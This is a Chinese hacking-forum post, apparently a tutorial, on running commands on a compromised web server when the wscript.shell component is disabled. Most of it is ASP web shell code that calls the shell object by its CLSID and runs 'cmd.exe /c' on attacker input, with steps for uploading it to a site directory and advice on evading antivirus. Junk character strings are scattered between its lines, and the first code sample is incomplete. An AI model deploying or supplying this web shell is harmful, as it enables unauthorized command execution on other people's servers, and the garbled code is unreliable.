没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  7 `( w, v5 f" [! `9 k* }
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  5 X. v9 {" O* o; {2 F) }
• <%
  
• end if
  + _2 s: D- X  A
• response.write(”")
  
• On Error Resume
  1 \3 c, z, u  K% Q' k9 j- Q9 x
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  . e! y, A* [2 [9 G$ |
• response.write(”")
  5 Y7 G; {8 [2 F
• response.write(”")
  
• response.write(”
  . ^) k2 n% M9 C& B, ^. v, z
• “)
  " u" |. m$ T+ n5 o% f1 p
• response.write(”")
  
• %>
  ; w" R1 B$ O! C8 b9 |( f" z# o
• 保存为一个asp文件，然后传到网站目录上去
  3 T( J; c5 a4 O$ t. B
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  6 ~# t& B. g# j
• 我用此成功运行过cacls命令。
  + V" m- u9 o) o1 \% u1 n( k  D! G+ h5 A
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  
• <object runat=server id=oScriptlhn scope=page
  
• 
  " l# [. F( j9 p8 z' c
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  
• <%if err then%>
  2 V; C. c0 U7 H) J. Z7 P
• <object runat=server id=oScriptlhn scope=page
  : t: H* M' i, k) d
• 
  7 y* b6 D- q- V6 ?$ P; u$ z3 h
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  " X: h/ V2 I9 ~) D
• <%
  4 E4 r7 y8 y# V' B7 [
• end if
  
• response.write(”<textarea readonly cols=80
  
• 
  & l9 T, ?' ]4 |8 A* d( \
• rows=20>”)
  ! i" ?5 u$ y( x
• On Error Resume Next
  
• response.write
  
• 
  : V  z: @1 ~$ j6 @" i
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  
• response.write(”<form
  
• 
  : k# \- H9 p% s1 R: I4 d  t
• method=’post’>”)
  , z8 ~6 o( [6 o% A1 S9 I$ |8 j
• response.write(”<input type=text name=’c'
  % e1 w8 E6 v( ]+ Y, U, R, Q+ C
• 
  
• size=60><br>”)
  ! u1 ~- |4 q5 t! q: a( Y4 {
• response.write(”<input type=submit
  4 h. \: j: T+ K* F1 g
• 
  . s; |: _  t' P0 N  i% K& j
• value=’执行’></form>”)
  - e/ C! P  `; Z" g+ x& e& @  ^
• %>
  8 g; u% _: t) i, @, L7 R" i2 l# a
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  

复制代码